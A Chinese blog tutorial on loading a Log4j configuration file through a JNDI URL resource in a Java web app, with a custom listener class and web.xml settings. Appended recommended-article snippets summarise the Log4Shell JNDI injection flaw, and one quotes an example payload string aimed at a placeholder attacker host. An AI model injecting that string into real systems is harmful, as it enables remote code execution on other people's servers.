Web应用中Log4j与JNDI结合1 -- JNDI指定配置文件

Log4j2的JNDI注入漏洞原理分析与思考 前言 最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。极盾科技技术总监对该漏洞进行复现和分析其形成原理。在此分享。 以下涉及的代码,均在mac OS 10.14.5,JDK1.8.0_91环境下成功运行。 一、 前置知识 1.1 Log4j2 Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组 阅读详情

在Tomcat 定制JNDI URL Resource中我介绍了如何在tomcat中实现URL资源访问,在Log4j配置实践中我介绍了在Web应用中如何使用log4j xml配置方式记录日志。这篇我要介绍如何在Web应用中把Log4j和JNDI结合起来,达到可以动态修改Log4j配置文件路径和Log4j日志文件存储路径的目的。
我们知道,Spring本身提供了Log4jConfigListener和Log4jWebConfigurer来帮助初始化Log4j,其中参数log4jConfigLocation可以在classpath或者按指定路径查找log4j配置文件,log4jRefreshInterval指定检查加载配置文件变化。在这里,我们要做的是根据Log4jConfigListener和Log4jWebConfiguer来定制自己的Log4jConfigListener,达到可以按JNDI来访问配置文件的目的。给出实现如下:

package com.demo;
/*...
import ...here
...
*/
public class JndiLog4jConfigListener implements ServletContextListener {

    /** Parameter specifying the location of the log4j config file */
    public static final String CONFIG_LOCATION_PARAM = "log4jConfigLocation";

    /** Parameter specifying the location of the log4j config file */
    public static final String CONFIG_FILENAME_PARAM = "log4jConfigFilename";

    /** Parameter specifying the refresh interval for checking the log4j config file */
    public static final String REFRESH_INTERVAL_PARAM = "log4jRefreshInterval";

    /** Parameter specifying whether to expose the web app root system property */
    public static final String EXPOSE_WEB_APP_ROOT_PARAM = "log4jExposeWebAppRoot";

    public void contextInitialized(ServletContextEvent event) {
        // Expose the web app root system property.
            if (exposeWebAppRoot(servletContext)) {
                WebUtils.setWebAppRootSystemProperty(servletContext);
            }

            // Only perform custom log4j initialization in case of a config file.
            String location = servletContext.getInitParameter(CONFIG_LOCATION_PARAM);
            String filename = servletContext.getInitParameter(CONFIG_FILENAME_PARAM);
            if (location != null) {
                // Perform actual log4j initialization; else rely on log4j's default initialization.
                try {
                    Context ic = new InitialContext();
                    location = ((URL)ic.lookup(location)).toExternalForm();
                    location = location + File.separator + filename;

                    // Write log message to server log.
                    servletContext.log("Initializing log4j from [" + location + "]");

                    // Check whether refresh interval was specified.
                    String intervalString = servletContext.getInitParameter(REFRESH_INTERVAL_PARAM);
                    if (intervalString != null) {
                        // Initialize with refresh interval, i.e. with log4j's watchdog thread,
                        // checking the file in the background.
                        try {
                            long refreshInterval = Long.parseLong(intervalString);
                            Log4jConfigurer.initLogging(location, refreshInterval);
                        }
                        catch (NumberFormatException ex) {
                            throw new IllegalArgumentException("Invalid 'log4jRefreshInterval' parameter: " + ex.getMessage());
                        }
                    }
                    else {
                        // Initialize without refresh check, i.e. without log4j's watchdog thread.
                        Log4jConfigurer.initLogging(location);
                    }
                }
                catch (Exception ex) {
                    throw new IllegalArgumentException("Invalid log4j Location: " + ex.getMessage());
                }
            }
    }

      public void contextDestroyed(ServletContextEvent event) {
            servletContext.log("Shutting down log4j");
            try {
                Log4jConfigurer.shutdownLogging();
            }
            finally {
                // Remove the web app root system property.
                if (exposeWebAppRoot(servletContext)) {
                    WebUtils.removeWebAppRootSystemProperty(servletContext);
                }
            }
      }

      private static boolean exposeWebAppRoot(ServletContext servletContext) {
        String exposeWebAppRootParam = servletContext.getInitParameter(EXPOSE_WEB_APP_ROOT_PARAM);
        return (exposeWebAppRootParam == null || Boolean.valueOf(exposeWebAppRootParam).booleanValue());
    }
}

Web.xml的配置如下:

<context-param>     
      <param-name>log4jConfigLocation</param-name>     
      <param-value>jndi:java:/comp/env/config_dir</param-value>     
  </context-param>     
 <context-param>     
      <param-name>log4jConfigFilename</param-name>     
      <param-value>log4j-demo.xml</param-value>     
  </context-param>  
  <context-param>     
      <param-name>log4jRefreshInterval</param-name>     
      <param-value>6000</param-value>     
  </context-param>     

  <listener>     
      <listener-class>com.demo.JndiLog4jConfigListener</listener-class>     
  </listener> 

<resource-ref>
     <res-ref-name> config_dir </res-ref-name>
    <res-type> java.net.URL </res-type>
    <res-auth> Container </res-auth>
 </resource-ref>
Log4j2日志框架JNDI注入漏洞分析与复现 1、漏洞背景 大家在实际开发中,几乎无可避免的需要用到日志框架,不管你是前端后端客户端,他们可以追踪和记录我们的程序运行中的信息,我们可以利用日志很快定位问题,追踪分析。 而对于Java开发人员来说,最常用的日志框架便是Log4j2和logback,而本次漏洞的主角便是Apache Log4j2,它有一个特别强大的功能插件Lookups 如果我们试图通过日志去输出一个程序中不存在的对象,而在其他地方,那么我们便可以通过这个插件去通过某些方式去查找目标内容,它只提供一种规范,具体使用哪些方式去查找 阅读详情

相关推荐

Log4j2漏洞深度剖析:从JNDI注入原理到企业级防御实战

在软件安全领域,远程代码执行(RCE)漏洞因其可直接控制目标系统而危害巨大。其原理常涉及不当的输入处理与危险的运行时功能调用链,例如通过特定协议触发外部资源加载。这类漏洞的技术价值在于揭示了供应链安全与深度防御的重要性,尤其在广泛使用的开源组件中。应用场景涵盖所有对外服务的Java应用,任何记录用户输入的日志点都可能成为攻击入口。本文以Log4j2的Log4Shell漏洞为例,通过复现JNDI注入攻击链,深入剖析了从日志记录到RCE的完整过程,并基于热词【深度防御】和【应急响应】,系统阐述了从紧急缓解到长期

congbao6525的博客 440

JAVA安全之Log4j-Jndi注入原理以及利用方式

JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。JDNI主要通过JNDI SPI(Service ProviderInterface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDISPI规范包含了多个接口,其中最为重要的是Context接口。

qq_53058639的博客 1424

Log4j2漏洞实战:JNDI注入工具对比与高级利用技巧

JNDI(Java命名和目录接口)是Java平台中用于访问命名和目录服务的核心API,其设计初衷是提供统一的资源查找抽象层。然而,当应用程序未对用户输入进行严格过滤时,攻击者可通过构造恶意JNDI查找字符串,诱使服务器加载并执行远程恶意类,从而实现远程代码执行,这便是JNDI注入攻击的基本原理。这种攻击方式技术价值极高,因为它往往能绕过应用层部分防御,直接危及服务器安全,在Log4j2等广泛使用的日志框架漏洞中尤为突出。其典型应用场景包括利用未修复的公共漏洞组件进行初始渗透、在红蓝对抗中测试系统韧性等。本文

子夜轻风 474

Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白

背景 最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。 经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。 JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。 JNDI是个什么鬼? 说起JND

程序新视界 1万+

Log4j2漏洞原理深度解析与实战复现:从JNDI注入到RCE攻击链

在Java应用开发中,日志记录是基础且关键的功能,它帮助开发者追踪程序行为、排查问题。其核心原理是通过日志框架对事件信息进行采集、过滤和输出。然而,当框架的设计特性与Java平台服务结合时,可能引入严重的安全风险。JNDI(Java命名和目录接口)作为Java访问命名服务的标准API,其动态类加载机制在特定场景下具备强大的技术价值,例如实现资源的集中管理和动态扩展。但在日志处理流程中,如果未经严格校验的用户输入触发了JNDI查询,并指向攻击者控制的恶意服务,就会构成JNDI注入漏洞,导致远程代码执行(RCE

ckkay800264的博客 430

Log4j2漏洞实战:从JNDI注入到反弹Shell的完整武器化路径

在Java应用安全领域,远程代码执行漏洞是最高危的威胁之一,其核心原理在于攻击者能够通过特定输入,诱导应用执行非预期的系统命令或代码。JNDI注入作为一种经典的攻击技术,通过利用Java命名和目录接口的动态查找机制,结合LDAP或RMI等协议,实现了从外部资源加载并执行恶意类的攻击路径,其技术价值在于能够绕过传统的输入过滤,直接威胁应用服务器安全。这种漏洞的典型应用场景广泛存在于使用老旧组件或配置不当的Web服务、微服务架构中。本文聚焦于轰动业界的Log4j2漏洞,深入剖析如何将JNDI注入这一通用技术,在

weixin_36250534的博客 351

Log4j2与JNDI结合

Log4j2和JNDI结合指定配置文件路径和日志文件

cloud的技术积累 4631

Log4j2漏洞深度解析:从JNDI注入原理到企业级防御实战

在软件开发中,日志记录是追踪应用状态、排查问题的基础功能,而日志框架的安全设计直接关系到应用的整体安全性。其核心原理在于日志消息的动态解析机制,当框架支持通过特定语法动态查找并替换变量时,若未对用户输入进行严格校验,就可能引入注入风险。这项技术的价值在于提升日志的灵活性和可读性,广泛应用于Web应用、微服务及各类后端系统中。然而,当**Log4j2**的查找功能与Java的**JNDI**服务结合时,攻击者通过构造特殊的日志消息,可触发远程类加载,最终导致远程代码执行。本文聚焦这一高危漏洞链,深入剖析其技术

weixin_34405354的博客 337

Web应用中Log4j与JNDI结合2 -- JNDI指定日志路径

在Web应用中Log4j与JNDI结合2 – JNDI指定日志文件位置

cloud的技术积累 2112

Java JNDI注入漏洞:从原理到实战防御的完整指南

JNDI(Java命名和目录接口)是Java平台提供的一种统一API,用于访问如LDAP、RMI等命名和目录服务。其核心原理在于通过一个抽象层,允许应用程序通过名称查找和访问网络中的对象或服务。这项技术的设计初衷是为了简化企业级应用中的服务集成,但其支持从远程服务动态加载Java类的特性,在特定条件下会引发严重的安全风险。当应用程序将未经充分验证的外部输入直接传递给JNDI的lookup等方法时,就可能构成JNDI注入漏洞。攻击者可以借此操控查找地址,指向恶意搭建的RMI或LDAP服务,诱导应用加载并执行远

weixin_34014555的博客 346

Log4j RCE漏洞检测原理与log4j-scan工具实战解析

远程代码执行(RCE)漏洞是网络安全领域的高危威胁,它允许攻击者在目标系统上执行任意代码,从而完全控制系统。其原理通常涉及应用程序对用户输入的不安全处理,例如反序列化、命令拼接或动态代码执行。在Java生态中,日志记录组件是应用的基础设施,而Log4j2作为广泛使用的日志框架,其JNDI查找功能的安全缺陷导致了CVE-2021-44228(Log4Shell)漏洞的爆发,影响深远。该漏洞的技术价值在于其利用链清晰,通过日志消息中的特定格式字符串触发,利用带外(OOB)通道如DNS查询进行检测和利用,成为供应

weixin_30298497的博客 389

第36天:JavaEE第三方组件安全(Log4j、FastJson与JNDI注入

定义:Java Naming and Directory Interface(Java命名和目录接口),是Java提供的统一资源查找接口,允许程序通过“名称”定位分布式环境中的资源(如数据库连接池、远程对象、配置信息)。核心作用:解耦资源与代码——程序无需硬编码资源地址,只需通过JNDI名称查找,适配不同环境(如开发/生产环境的数据库地址切换)。RMI:远程方法调用,允许Java对象在不同JVM间调用方法;LDAP:轻量级目录访问协议,用于查询/访问树形结构的目录服务(如企业员工信息、设备信息);

2302_80420483的博客 1181

Log4j2漏洞深度解析:从原理到实战复现与安全加固

Log4j2作为Java生态中广泛使用的日志记录框架,其核心功能之一是支持通过Lookup机制动态解析日志消息中的变量。然而,CVE-2021-44228(Log4Shell)漏洞的根源在于,该框架在记录日志时,会对用户输入中的${}表达式进行递归解析,且默认未对JNDI(Java命名和目录接口)等远程资源加载进行严格的安全限制。这一设计缺陷使得攻击者能够通过构造特殊的JNDI Lookup字符串(如${jndi:ldap://attacker.com/Exploit}),在日志记录过程中触发远程类加载,最

weixin_42530732的博客 623

JNDI注入攻防演进:从Log4j2漏洞到2024年最新绕过手法与防御体系构建

JNDI(Java命名和目录接口)是Java平台用于统一访问LDAP、RMI等服务的核心API,其动态类加载机制在提供便利的同时也引入了安全风险。攻击者通过控制输入点并构造恶意URI,可诱使应用在lookup时从远程服务器加载并执行恶意代码,这一原理在Log4j2等漏洞中被广泛利用。随着防御措施的普及,攻击手法持续进化,例如利用本地ClassPath中已有的Gadget链绕过trustURLCodebase限制,或针对Weblogic的JMX服务等新攻击面进行突破。在应用安全领域,构建纵深防御体系至关重要,

weixin_33910385的博客 421

内网Log4j2漏洞主动狩猎:BurpSuite插件与RevSuitRMI实战指南

在软件安全领域,漏洞检测是保障系统安全的核心环节,其原理在于识别并验证应用程序中可能被恶意利用的缺陷。对于广泛使用的Java日志框架Apache Log4j2,其远程代码执行漏洞(CVE-2021-44228)因其危害性高、影响面广,成为安全测试的重点。从技术价值看,高效的漏洞检测不仅能发现风险,更能评估实际可利用性,是红蓝对抗与内网渗透测试的关键。在应用场景上,尤其是在复杂的企业内网环境中,面对大量遗留系统和受限的网络策略,传统扫描器往往效果有限。因此,结合BurpSuite这类渗透测试平台,通过插件进行

z466459262的专栏 345

SNN系列|编码篇(2)时序编码

Tempotral Coding 选择编码方法是要根据编码对象以及模型如何处理编码信息进行选择,如下是一种时序信息的编码对比: Threshold-based encoding 又称为tempotral contrast,该方法可以用于编解码一段序列,当差值超过阈值时发放脉冲,阈值是根据编码的序列自适应变化的。 使用该编码方法时,实值序列最好是沿时间变化的,因为在根据差分决定是否发放脉冲后,脉冲的顺序与差分顺序有关。 Time-to-first spike coding 该编码方法将信息用神经元首次

Tianlong Lee的博客 1万+

Log4j2漏洞深度解析:从JNDI注入原理到应急修复实战

在Java应用开发中,日志记录是系统可观测性的基础组件,而Log4j2作为广泛使用的日志框架,其安全性直接关系到整个应用栈的稳定。JNDI(Java命名和目录接口)作为Java平台提供的统一资源访问机制,本意是为了简化分布式环境下的资源查找,但当它与日志消息的动态解析功能结合时,却可能引发严重的安全风险。其技术价值在于通过动态Lookup机制增强日志的灵活性和上下文信息,但这也为攻击者利用JNDI注入实现远程代码执行(RCE)创造了条件。典型的应用场景包括Web应用接收用户输入并记录日志、微服务间传递含元数

congjukun0600的博客 592

String+CytoScape构建PPI网络

1.下载CytoScape Cytoscape是一款专业强大好用的物生信息分析软件,主要达用于专业的研究人员使用,软件主要适用于整合模块化网络和生物科学联系网络图的绘制,支持多种文件格式,导入后就可以直接进行编辑或者分析等操作了,除此之外,软件还提供了强大的编辑工具,支持添加相应的注释信息,软件基于java环境组件打造。 下载地址:https://cytoscape.org/ 因为软件基于java...

xiaobai1_1的博客 1万+

第三百零三节 Log4j教程 - Log4j安装

第三百零三节 Log4j教程 - Log4j安装

2301_78772942的博客 1181

信号检测算法的MATLAB仿真:能量检测、循环平稳检测和匹配滤波检测

根据具体的应用场景和要求,选择合适的信号检测算法可以提高系统的性能和可靠性。在无线电通信中,信号检测是一项重要的任务,它用于检测和识别接收到的信号。在本文中,我们将介绍三种常用的信号检测算法:能量检测、循环平稳检测和匹配滤波检测,并提供相应的MATLAB源代码进行仿真实现。在上述代码中,我们首先设置了能量检测的阈值,然后生成了一个包含1000个服从正态分布的随机信号样本的信号。在上述代码中,我们首先设置了信号模板,然后生成了一个包含信号模板的信号样本。最后,通过比较相关性的最大值与阈值来判断信号是否存在。

PixelLancer的博客 1362

如何使用 SAP ABAP Development Tool 连接 SAP BTP 上的免费 ABAP 编程环境

在云端环境编写 ABAP 代码会遇到一些限制,比如你无法在云端 ABAP 编程环境进行发生在传统 SAPGUI 里的 Dynpro 和 Screen 编程。部分在 SAPGUI 里使用的 List 处理相关的关键字比如 WRITE,还有 CALL TRANSACTION 等代码,也无法在云端使用。 当然如果大家觉得上面提到的这些限制不会影响自己的 ABAP 学习,就可以继续本文的阅读,使用 ABAP Development Tool 登录云端的 ABAP 编程环境。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1513
上一篇: Java Memory Model
下一篇: Web应用中Log4j与JNDI结合2 -- JNDI指定日志路径
开心的D哥
博客等级 码龄22年 63粉丝 110原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值